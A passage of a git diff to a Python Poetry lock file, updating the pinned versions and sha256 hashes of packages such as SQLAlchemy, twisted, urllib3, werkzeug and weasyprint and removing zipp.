- {file = "SQLAlchemy-2.0.20-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5768c268df78bacbde166b48be788b83dddaa2a5974b8810af422ddfe68a9bc8"},
- {file = "SQLAlchemy-2.0.20-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3f0dd6d15b6dc8b28a838a5c48ced7455c3e1fb47b89da9c79cc2090b072a50"},
- {file = "SQLAlchemy-2.0.20-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:243d0fb261f80a26774829bc2cee71df3222587ac789b7eaf6555c5b15651eed"},
- {file = "SQLAlchemy-2.0.20-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6eb6d77c31e1bf4268b4d61b549c341cbff9842f8e115ba6904249c20cb78a61"},
- {file = "SQLAlchemy-2.0.20-cp310-cp310-win32.whl", hash = "sha256:bcb04441f370cbe6e37c2b8d79e4af9e4789f626c595899d94abebe8b38f9a4d"},
- {file = "SQLAlchemy-2.0.20-cp310-cp310-win_amd64.whl", hash = "sha256:d32b5ffef6c5bcb452723a496bad2d4c52b346240c59b3e6dba279f6dcc06c14"},
- {file = "SQLAlchemy-2.0.20-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:dd81466bdbc82b060c3c110b2937ab65ace41dfa7b18681fdfad2f37f27acdd7"},
- {file = "SQLAlchemy-2.0.20-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6fe7d61dc71119e21ddb0094ee994418c12f68c61b3d263ebaae50ea8399c4d4"},
- {file = "SQLAlchemy-2.0.20-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e4e571af672e1bb710b3cc1a9794b55bce1eae5aed41a608c0401885e3491179"},
- {file = "SQLAlchemy-2.0.20-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3364b7066b3c7f4437dd345d47271f1251e0cfb0aba67e785343cdbdb0fff08c"},
- {file = "SQLAlchemy-2.0.20-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:1be86ccea0c965a1e8cd6ccf6884b924c319fcc85765f16c69f1ae7148eba64b"},
- {file = "SQLAlchemy-2.0.20-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1d35d49a972649b5080557c603110620a86aa11db350d7a7cb0f0a3f611948a0"},
- {file = "SQLAlchemy-2.0.20-cp311-cp311-win32.whl", hash = "sha256:27d554ef5d12501898d88d255c54eef8414576f34672e02fe96d75908993cf53"},
- {file = "SQLAlchemy-2.0.20-cp311-cp311-win_amd64.whl", hash = "sha256:411e7f140200c02c4b953b3dbd08351c9f9818d2bd591b56d0fa0716bd014f1e"},
- {file = "SQLAlchemy-2.0.20-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:3c6aceebbc47db04f2d779db03afeaa2c73ea3f8dcd3987eb9efdb987ffa09a3"},
- {file = "SQLAlchemy-2.0.20-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7d3f175410a6db0ad96b10bfbb0a5530ecd4fcf1e2b5d83d968dd64791f810ed"},
- {file = "SQLAlchemy-2.0.20-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ea8186be85da6587456c9ddc7bf480ebad1a0e6dcbad3967c4821233a4d4df57"},
- {file = "SQLAlchemy-2.0.20-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:c3d99ba99007dab8233f635c32b5cd24fb1df8d64e17bc7df136cedbea427897"},
- {file = "SQLAlchemy-2.0.20-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:76fdfc0f6f5341987474ff48e7a66c3cd2b8a71ddda01fa82fedb180b961630a"},
- {file = "SQLAlchemy-2.0.20-cp37-cp37m-win32.whl", hash = "sha256:d3793dcf5bc4d74ae1e9db15121250c2da476e1af8e45a1d9a52b1513a393459"},
- {file = "SQLAlchemy-2.0.20-cp37-cp37m-win_amd64.whl", hash = "sha256:79fde625a0a55220d3624e64101ed68a059c1c1f126c74f08a42097a72ff66a9"},
- {file = "SQLAlchemy-2.0.20-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:599ccd23a7146e126be1c7632d1d47847fa9f333104d03325c4e15440fc7d927"},
- {file = "SQLAlchemy-2.0.20-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:1a58052b5a93425f656675673ef1f7e005a3b72e3f2c91b8acca1b27ccadf5f4"},
- {file = "SQLAlchemy-2.0.20-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:79543f945be7a5ada9943d555cf9b1531cfea49241809dd1183701f94a748624"},
- {file = "SQLAlchemy-2.0.20-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:63e73da7fb030ae0a46a9ffbeef7e892f5def4baf8064786d040d45c1d6d1dc5"},
- {file = "SQLAlchemy-2.0.20-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:3ce5e81b800a8afc870bb8e0a275d81957e16f8c4b62415a7b386f29a0cb9763"},
- {file = "SQLAlchemy-2.0.20-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:cb0d3e94c2a84215532d9bcf10229476ffd3b08f481c53754113b794afb62d14"},
- {file = "SQLAlchemy-2.0.20-cp38-cp38-win32.whl", hash = "sha256:8dd77fd6648b677d7742d2c3cc105a66e2681cc5e5fb247b88c7a7b78351cf74"},
- {file = "SQLAlchemy-2.0.20-cp38-cp38-win_amd64.whl", hash = "sha256:6f8a934f9dfdf762c844e5164046a9cea25fabbc9ec865c023fe7f300f11ca4a"},
- {file = "SQLAlchemy-2.0.20-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:26a3399eaf65e9ab2690c07bd5cf898b639e76903e0abad096cd609233ce5208"},
- {file = "SQLAlchemy-2.0.20-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4cde2e1096cbb3e62002efdb7050113aa5f01718035ba9f29f9d89c3758e7e4e"},
- {file = "SQLAlchemy-2.0.20-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1b09ba72e4e6d341bb5bdd3564f1cea6095d4c3632e45dc69375a1dbe4e26ec"},
- {file = "SQLAlchemy-2.0.20-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1b74eeafaa11372627ce94e4dc88a6751b2b4d263015b3523e2b1e57291102f0"},
- {file = "SQLAlchemy-2.0.20-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:77d37c1b4e64c926fa3de23e8244b964aab92963d0f74d98cbc0783a9e04f501"},
- {file = "SQLAlchemy-2.0.20-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:eefebcc5c555803065128401a1e224a64607259b5eb907021bf9b175f315d2a6"},
- {file = "SQLAlchemy-2.0.20-cp39-cp39-win32.whl", hash = "sha256:3423dc2a3b94125094897118b52bdf4d37daf142cbcf26d48af284b763ab90e9"},
- {file = "SQLAlchemy-2.0.20-cp39-cp39-win_amd64.whl", hash = "sha256:5ed61e3463021763b853628aef8bc5d469fe12d95f82c74ef605049d810f3267"},
- {file = "SQLAlchemy-2.0.20-py3-none-any.whl", hash = "sha256:63a368231c53c93e2b67d0c5556a9836fdcd383f7e3026a39602aad775b14acf"},
- {file = "SQLAlchemy-2.0.20.tar.gz", hash = "sha256:ca8a5ff2aa7f3ade6c498aaafce25b1eaeabe4e42b73e25519183e4566a16fc6"},
+ {file = "SQLAlchemy-2.0.23-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:638c2c0b6b4661a4fd264f6fb804eccd392745c5887f9317feb64bb7cb03b3ea"},
+ {file = "SQLAlchemy-2.0.23-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e3b5036aa326dc2df50cba3c958e29b291a80f604b1afa4c8ce73e78e1c9f01d"},
+ {file = "SQLAlchemy-2.0.23-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:787af80107fb691934a01889ca8f82a44adedbf5ef3d6ad7d0f0b9ac557e0c34"},
+ {file = "SQLAlchemy-2.0.23-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c14eba45983d2f48f7546bb32b47937ee2cafae353646295f0e99f35b14286ab"},
+ {file = "SQLAlchemy-2.0.23-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:0666031df46b9badba9bed00092a1ffa3aa063a5e68fa244acd9f08070e936d3"},
+ {file = "SQLAlchemy-2.0.23-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:89a01238fcb9a8af118eaad3ffcc5dedaacbd429dc6fdc43fe430d3a941ff965"},
+ {file = "SQLAlchemy-2.0.23-cp310-cp310-win32.whl", hash = "sha256:cabafc7837b6cec61c0e1e5c6d14ef250b675fa9c3060ed8a7e38653bd732ff8"},
+ {file = "SQLAlchemy-2.0.23-cp310-cp310-win_amd64.whl", hash = "sha256:87a3d6b53c39cd173990de2f5f4b83431d534a74f0e2f88bd16eabb5667e65c6"},
+ {file = "SQLAlchemy-2.0.23-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d5578e6863eeb998980c212a39106ea139bdc0b3f73291b96e27c929c90cd8e1"},
+ {file = "SQLAlchemy-2.0.23-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:62d9e964870ea5ade4bc870ac4004c456efe75fb50404c03c5fd61f8bc669a72"},
+ {file = "SQLAlchemy-2.0.23-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c80c38bd2ea35b97cbf7c21aeb129dcbebbf344ee01a7141016ab7b851464f8e"},
+ {file = "SQLAlchemy-2.0.23-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:75eefe09e98043cff2fb8af9796e20747ae870c903dc61d41b0c2e55128f958d"},
+ {file = "SQLAlchemy-2.0.23-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bd45a5b6c68357578263d74daab6ff9439517f87da63442d244f9f23df56138d"},
+ {file = "SQLAlchemy-2.0.23-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a86cb7063e2c9fb8e774f77fbf8475516d270a3e989da55fa05d08089d77f8c4"},
+ {file = "SQLAlchemy-2.0.23-cp311-cp311-win32.whl", hash = "sha256:b41f5d65b54cdf4934ecede2f41b9c60c9f785620416e8e6c48349ab18643855"},
+ {file = "SQLAlchemy-2.0.23-cp311-cp311-win_amd64.whl", hash = "sha256:9ca922f305d67605668e93991aaf2c12239c78207bca3b891cd51a4515c72e22"},
+ {file = "SQLAlchemy-2.0.23-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:d0f7fb0c7527c41fa6fcae2be537ac137f636a41b4c5a4c58914541e2f436b45"},
+ {file = "SQLAlchemy-2.0.23-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7c424983ab447dab126c39d3ce3be5bee95700783204a72549c3dceffe0fc8f4"},
+ {file = "SQLAlchemy-2.0.23-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f508ba8f89e0a5ecdfd3761f82dda2a3d7b678a626967608f4273e0dba8f07ac"},
+ {file = "SQLAlchemy-2.0.23-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6463aa765cf02b9247e38b35853923edbf2f6fd1963df88706bc1d02410a5577"},
+ {file = "SQLAlchemy-2.0.23-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:e599a51acf3cc4d31d1a0cf248d8f8d863b6386d2b6782c5074427ebb7803bda"},
+ {file = "SQLAlchemy-2.0.23-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fd54601ef9cc455a0c61e5245f690c8a3ad67ddb03d3b91c361d076def0b4c60"},
+ {file = "SQLAlchemy-2.0.23-cp312-cp312-win32.whl", hash = "sha256:42d0b0290a8fb0165ea2c2781ae66e95cca6e27a2fbe1016ff8db3112ac1e846"},
+ {file = "SQLAlchemy-2.0.23-cp312-cp312-win_amd64.whl", hash = "sha256:227135ef1e48165f37590b8bfc44ed7ff4c074bf04dc8d6f8e7f1c14a94aa6ca"},
+ {file = "SQLAlchemy-2.0.23-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:14aebfe28b99f24f8a4c1346c48bc3d63705b1f919a24c27471136d2f219f02d"},
+ {file = "SQLAlchemy-2.0.23-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3e983fa42164577d073778d06d2cc5d020322425a509a08119bdcee70ad856bf"},
+ {file = "SQLAlchemy-2.0.23-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e0dc9031baa46ad0dd5a269cb7a92a73284d1309228be1d5935dac8fb3cae24"},
+ {file = "SQLAlchemy-2.0.23-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:5f94aeb99f43729960638e7468d4688f6efccb837a858b34574e01143cf11f89"},
+ {file = "SQLAlchemy-2.0.23-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:63bfc3acc970776036f6d1d0e65faa7473be9f3135d37a463c5eba5efcdb24c8"},
+ {file = "SQLAlchemy-2.0.23-cp37-cp37m-win32.whl", hash = "sha256:f48ed89dd11c3c586f45e9eec1e437b355b3b6f6884ea4a4c3111a3358fd0c18"},
+ {file = "SQLAlchemy-2.0.23-cp37-cp37m-win_amd64.whl", hash = "sha256:1e018aba8363adb0599e745af245306cb8c46b9ad0a6fc0a86745b6ff7d940fc"},
+ {file = "SQLAlchemy-2.0.23-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:64ac935a90bc479fee77f9463f298943b0e60005fe5de2aa654d9cdef46c54df"},
+ {file = "SQLAlchemy-2.0.23-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:c4722f3bc3c1c2fcc3702dbe0016ba31148dd6efcd2a2fd33c1b4897c6a19693"},
+ {file = "SQLAlchemy-2.0.23-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4af79c06825e2836de21439cb2a6ce22b2ca129bad74f359bddd173f39582bf5"},
+ {file = "SQLAlchemy-2.0.23-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:683ef58ca8eea4747737a1c35c11372ffeb84578d3aab8f3e10b1d13d66f2bc4"},
+ {file = "SQLAlchemy-2.0.23-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:d4041ad05b35f1f4da481f6b811b4af2f29e83af253bf37c3c4582b2c68934ab"},
+ {file = "SQLAlchemy-2.0.23-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:aeb397de65a0a62f14c257f36a726945a7f7bb60253462e8602d9b97b5cbe204"},
+ {file = "SQLAlchemy-2.0.23-cp38-cp38-win32.whl", hash = "sha256:42ede90148b73fe4ab4a089f3126b2cfae8cfefc955c8174d697bb46210c8306"},
+ {file = "SQLAlchemy-2.0.23-cp38-cp38-win_amd64.whl", hash = "sha256:964971b52daab357d2c0875825e36584d58f536e920f2968df8d581054eada4b"},
+ {file = "SQLAlchemy-2.0.23-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:616fe7bcff0a05098f64b4478b78ec2dfa03225c23734d83d6c169eb41a93e55"},
+ {file = "SQLAlchemy-2.0.23-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0e680527245895aba86afbd5bef6c316831c02aa988d1aad83c47ffe92655e74"},
+ {file = "SQLAlchemy-2.0.23-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9585b646ffb048c0250acc7dad92536591ffe35dba624bb8fd9b471e25212a35"},
+ {file = "SQLAlchemy-2.0.23-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4895a63e2c271ffc7a81ea424b94060f7b3b03b4ea0cd58ab5bb676ed02f4221"},
+ {file = "SQLAlchemy-2.0.23-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:cc1d21576f958c42d9aec68eba5c1a7d715e5fc07825a629015fe8e3b0657fb0"},
+ {file = "SQLAlchemy-2.0.23-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:967c0b71156f793e6662dd839da54f884631755275ed71f1539c95bbada9aaab"},
+ {file = "SQLAlchemy-2.0.23-cp39-cp39-win32.whl", hash = "sha256:0a8c6aa506893e25a04233bc721c6b6cf844bafd7250535abb56cb6cc1368884"},
+ {file = "SQLAlchemy-2.0.23-cp39-cp39-win_amd64.whl", hash = "sha256:f3420d00d2cb42432c1d0e44540ae83185ccbbc67a6054dcc8ab5387add6620b"},
+ {file = "SQLAlchemy-2.0.23-py3-none-any.whl", hash = "sha256:31952bbc527d633b9479f5f81e8b9dfada00b91d6baba021a869095f1a97006d"},
+ {file = "SQLAlchemy-2.0.23.tar.gz", hash = "sha256:c1bda93cbbe4aa2aa0aa8655c5aeda505cd219ff3e8da91d1d329e143e4aff69"},
]
[package.dependencies]
@@ -2526,6 +2653,7 @@ typing-extensions = ">=4.2.0"
[package.extras]
aiomysql = ["aiomysql (>=0.2.0)", "greenlet (!=0.4.17)"]
+aioodbc = ["aioodbc", "greenlet (!=0.4.17)"]
aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing-extensions (!=3.10.0.1)"]
asyncio = ["greenlet (!=0.4.17)"]
asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"]
@@ -2536,7 +2664,7 @@ mssql-pyodbc = ["pyodbc"]
mypy = ["mypy (>=0.910)"]
mysql = ["mysqlclient (>=1.4.0)"]
mysql-connector = ["mysql-connector-python"]
-oracle = ["cx-oracle (>=7)"]
+oracle = ["cx-oracle (>=8)"]
oracle-oracledb = ["oracledb (>=1.0.1)"]
postgresql = ["psycopg2 (>=2.7)"]
postgresql-asyncpg = ["asyncpg", "greenlet (!=0.4.17)"]
@@ -2576,7 +2704,6 @@ files = [
[package.dependencies]
anyio = ">=3.4.0,<5"
-typing-extensions = {version = ">=3.10.0", markers = "python_version < \"3.10\""}
[package.extras]
full = ["httpx (>=0.22.0)", "itsdangerous", "jinja2", "python-multipart", "pyyaml"]
@@ -2694,13 +2821,13 @@ files = [
[[package]]
name = "twisted"
-version = "23.8.0"
+version = "23.10.0"
description = "An asynchronous networking framework written in Python"
optional = false
-python-versions = ">=3.7.1"
+python-versions = ">=3.8.0"
files = [
- {file = "twisted-23.8.0-py3-none-any.whl", hash = "sha256:b8bdba145de120ffb36c20e6e071cce984e89fba798611ed0704216fb7f884cd"},
- {file = "twisted-23.8.0.tar.gz", hash = "sha256:3c73360add17336a622c0d811c2a2ce29866b6e59b1125fd6509b17252098a24"},
+ {file = "twisted-23.10.0-py3-none-any.whl", hash = "sha256:4ae8bce12999a35f7fe6443e7f1893e6fe09588c8d2bed9c35cdce8ff2d5b444"},
+ {file = "twisted-23.10.0.tar.gz", hash = "sha256:987847a0790a2c597197613686e2784fd54167df3a55d0fb17c8412305d76ce5"},
]
[package.dependencies]
@@ -2710,19 +2837,18 @@ constantly = ">=15.1"
hyperlink = ">=17.1.1"
incremental = ">=22.10.0"
twisted-iocpsupport = {version = ">=1.0.2,<2", markers = "platform_system == \"Windows\""}
-typing-extensions = ">=3.10.0"
+typing-extensions = ">=4.2.0"
zope-interface = ">=5"
[package.extras]
-all-non-platform = ["twisted[conch,contextvars,http2,serial,test,tls]", "twisted[conch,contextvars,http2,serial,test,tls]"]
+all-non-platform = ["twisted[conch,http2,serial,test,tls]", "twisted[conch,http2,serial,test,tls]"]
conch = ["appdirs (>=1.4.0)", "bcrypt (>=3.1.3)", "cryptography (>=3.3)"]
-contextvars = ["contextvars (>=2.4,<3)"]
dev = ["coverage (>=6b1,<7)", "pyflakes (>=2.2,<3.0)", "python-subunit (>=1.4,<2.0)", "twisted[dev-release]", "twistedchecker (>=0.7,<1.0)"]
-dev-release = ["pydoctor (>=23.4.0,<23.5.0)", "pydoctor (>=23.4.0,<23.5.0)", "readthedocs-sphinx-ext (>=2.2,<3.0)", "readthedocs-sphinx-ext (>=2.2,<3.0)", "sphinx (>=5,<7)", "sphinx (>=5,<7)", "sphinx-rtd-theme (>=1.2,<2.0)", "sphinx-rtd-theme (>=1.2,<2.0)", "towncrier (>=22.12,<23.0)", "towncrier (>=22.12,<23.0)", "urllib3 (<2)", "urllib3 (<2)"]
+dev-release = ["pydoctor (>=23.9.0,<23.10.0)", "pydoctor (>=23.9.0,<23.10.0)", "sphinx (>=6,<7)", "sphinx (>=6,<7)", "sphinx-rtd-theme (>=1.3,<2.0)", "sphinx-rtd-theme (>=1.3,<2.0)", "towncrier (>=23.6,<24.0)", "towncrier (>=23.6,<24.0)"]
gtk-platform = ["pygobject", "pygobject", "twisted[all-non-platform]", "twisted[all-non-platform]"]
http2 = ["h2 (>=3.0,<5.0)", "priority (>=1.1.0,<2.0)"]
macos-platform = ["pyobjc-core", "pyobjc-core", "pyobjc-framework-cfnetwork", "pyobjc-framework-cfnetwork", "pyobjc-framework-cocoa", "pyobjc-framework-cocoa", "twisted[all-non-platform]", "twisted[all-non-platform]"]
-mypy = ["mypy (==0.981)", "mypy-extensions (==0.4.3)", "mypy-zope (==0.3.11)", "twisted[all-non-platform,dev]", "types-pyopenssl", "types-setuptools"]
+mypy = ["mypy (>=1.5.1,<1.6.0)", "mypy-zope (>=1.0.1,<1.1.0)", "twisted[all-non-platform,dev]", "types-pyopenssl", "types-setuptools"]
osx-platform = ["twisted[macos-platform]", "twisted[macos-platform]"]
serial = ["pyserial (>=3.0)", "pywin32 (!=226)"]
test = ["cython-test-exception-raiser (>=1.0.2,<2)", "hypothesis (>=6.56)", "pyhamcrest (>=2)"]
@@ -2759,24 +2885,24 @@ files = [
[[package]]
name = "typing-extensions"
-version = "4.7.1"
-description = "Backported and Experimental Type Hints for Python 3.7+"
+version = "4.8.0"
+description = "Backported and Experimental Type Hints for Python 3.8+"
optional = false
-python-versions = ">=3.7"
+python-versions = ">=3.8"
files = [
- {file = "typing_extensions-4.7.1-py3-none-any.whl", hash = "sha256:440d5dd3af93b060174bf433bccd69b0babc3b15b1a8dca43789fd7f61514b36"},
- {file = "typing_extensions-4.7.1.tar.gz", hash = "sha256:b75ddc264f0ba5615db7ba217daeb99701ad295353c45f9e95963337ceeeffb2"},
+ {file = "typing_extensions-4.8.0-py3-none-any.whl", hash = "sha256:8f92fc8806f9a6b641eaa5318da32b44d401efaac0f6678c9bc448ba3605faa0"},
+ {file = "typing_extensions-4.8.0.tar.gz", hash = "sha256:df8e4339e9cb77357558cbdbceca33c303714cf861d1eef15e1070055ae8b7ef"},
]
[[package]]
name = "urllib3"
-version = "2.0.4"
+version = "2.0.7"
description = "HTTP library with thread-safe connection pooling, file post, and more."
optional = false
python-versions = ">=3.7"
files = [
- {file = "urllib3-2.0.4-py3-none-any.whl", hash = "sha256:de7df1803967d2c2a98e4b11bb7d6bd9210474c46e8a0401514e3a42a75ebde4"},
- {file = "urllib3-2.0.4.tar.gz", hash = "sha256:8d22f86aae8ef5e410d4f539fde9ce6b2113a001bb4d189e0aed70642d602b11"},
+ {file = "urllib3-2.0.7-py3-none-any.whl", hash = "sha256:fdb6d215c776278489906c2f8916e6e7d4f5a9b602ccbcfdf7f016fc8da0596e"},
+ {file = "urllib3-2.0.7.tar.gz", hash = "sha256:c97dfde1f7bd43a71c8d2a58e369e9b2bf692d1334ea9f9cae55add7d0dd0f84"},
]
[package.extras]
@@ -2805,24 +2931,24 @@ standard = ["colorama (>=0.4)", "httptools (>=0.5.0)", "python-dotenv (>=0.13)",
[[package]]
name = "wcwidth"
-version = "0.2.6"
+version = "0.2.9"
description = "Measures the displayed width of unicode strings in a terminal"
optional = false
python-versions = "*"
files = [
- {file = "wcwidth-0.2.6-py2.py3-none-any.whl", hash = "sha256:795b138f6875577cd91bba52baf9e445cd5118fd32723b460e30a0af30ea230e"},
- {file = "wcwidth-0.2.6.tar.gz", hash = "sha256:a5220780a404dbe3353789870978e472cfe477761f06ee55077256e509b156d0"},
+ {file = "wcwidth-0.2.9-py2.py3-none-any.whl", hash = "sha256:9a929bd8380f6cd9571a968a9c8f4353ca58d7cd812a4822bba831f8d685b223"},
+ {file = "wcwidth-0.2.9.tar.gz", hash = "sha256:a675d1a4a2d24ef67096a04b85b02deeecd8e226f57b5e3a72dbb9ed99d27da8"},
]
[[package]]
name = "weasyprint"
-version = "59.0"
+version = "60.1"
description = "The Awesome Document Factory"
optional = false
python-versions = ">=3.7"
files = [
- {file = "weasyprint-59.0-py3-none-any.whl", hash = "sha256:a308d67c5e99f536b15527baaad4e91be0cf307317e0f66e8d934a0bc99bfb38"},
- {file = "weasyprint-59.0.tar.gz", hash = "sha256:223a76636b3744eaa4ab8a2885f50cf46cf8ebb1acb99b5276d02feccf507492"},
+ {file = "weasyprint-60.1-py3-none-any.whl", hash = "sha256:55227e5e44f5f34bc9cec651329bd38d063ef7d29151d4b058d4af1ca943d4a7"},
+ {file = "weasyprint-60.1.tar.gz", hash = "sha256:56b9812280118357b0f63b1efe18199e08343d4a56a3393c1d475ab878cea26a"},
]
[package.dependencies]
@@ -2831,7 +2957,7 @@ cssselect2 = ">=0.1"
fonttools = {version = ">=4.0.0", extras = ["woff"]}
html5lib = ">=1.1"
Pillow = ">=9.1.0"
-pydyf = ">=0.6.0"
+pydyf = ">=0.8.0"
Pyphen = ">=0.9.1"
tinycss2 = ">=1.0.0"
@@ -2852,13 +2978,13 @@ files = [
[[package]]
name = "websocket-client"
-version = "1.6.3"
+version = "1.6.4"
description = "WebSocket client for Python with low level API options"
optional = false
python-versions = ">=3.8"
files = [
- {file = "websocket-client-1.6.3.tar.gz", hash = "sha256:3aad25d31284266bcfcfd1fd8a743f63282305a364b8d0948a43bd606acc652f"},
- {file = "websocket_client-1.6.3-py3-none-any.whl", hash = "sha256:6cfc30d051ebabb73a5fa246efdcc14c8fbebbd0330f8984ac3bb6d9edd2ad03"},
+ {file = "websocket-client-1.6.4.tar.gz", hash = "sha256:b3324019b3c28572086c4a319f91d1dcd44e6e11cd340232978c684a7650d0df"},
+ {file = "websocket_client-1.6.4-py3-none-any.whl", hash = "sha256:084072e0a7f5f347ef2ac3d8698a5e0b4ffbfcab607628cadabc650fc9a83a24"},
]
[package.extras]
@@ -2960,13 +3086,13 @@ numpy = "*"
[[package]]
name = "werkzeug"
-version = "2.3.7"
+version = "3.0.1"
description = "The comprehensive WSGI web application library."
optional = false
python-versions = ">=3.8"
files = [
- {file = "werkzeug-2.3.7-py3-none-any.whl", hash = "sha256:effc12dba7f3bd72e605ce49807bbe692bd729c3bb122a3b91747a6ae77df528"},
- {file = "werkzeug-2.3.7.tar.gz", hash = "sha256:2b8c0e447b4b9dbcc85dd97b6eeb4dcbaf6c8b6c3be0bd654e25553e0a2157d8"},
+ {file = "werkzeug-3.0.1-py3-none-any.whl", hash = "sha256:90a285dc0e42ad56b34e696398b8122ee4c681833fb35b8334a095d82c56da10"},
+ {file = "werkzeug-3.0.1.tar.gz", hash = "sha256:507e811ecea72b18a404947aded4b3390e1db8f826b494d76550ef45bb3b1dcc"},
]
[package.dependencies]
@@ -3035,21 +3161,6 @@ files = [
{file = "xlwt-1.3.0.tar.gz", hash = "sha256:c59912717a9b28f1a3c2a98fd60741014b06b043936dcecbc113eaaada156c88"},
]
-[[package]]
-name = "zipp"
-version = "3.16.2"
-description = "Backport of pathlib-compatible object wrapper for zip files"
-optional = false
-python-versions = ">=3.8"
-files = [
- {file = "zipp-3.16.2-py3-none-any.whl", hash = "sha256:679e51dd4403591b2d6838a48de3d283f3d188412a9782faadf845f298736ba0"},
- {file = "zipp-3.16.2.tar.gz", hash = "sha256:ebc15946aa78bd63458992fc81ec3b6f7b1e92d51c35e6de1c3804e73b799147"},
-]
-
-[package.extras]
-docs = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"]
-testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-ignore-flaky", "pytest-mypy (>=0.9.1)", "pytest-ruff"]
-
[[package]]
name = "zlib-wrapper"
version = "0.1.3"
@@ -3062,48 +3173,54 @@ files = [
[[package]]
name = "zope-interface"
-version = "6.0"
+version = "6.1"
description = "Interfaces for Python"
optional = false
python-versions = ">=3.7"
files = [
- {file = "zope.interface-6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f299c020c6679cb389814a3b81200fe55d428012c5e76da7e722491f5d205990"},
- {file = "zope.interface-6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ee4b43f35f5dc15e1fec55ccb53c130adb1d11e8ad8263d68b1284b66a04190d"},
- {file = "zope.interface-6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5a158846d0fca0a908c1afb281ddba88744d403f2550dc34405c3691769cdd85"},
- {file = "zope.interface-6.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f72f23bab1848edb7472309e9898603141644faec9fd57a823ea6b4d1c4c8995"},
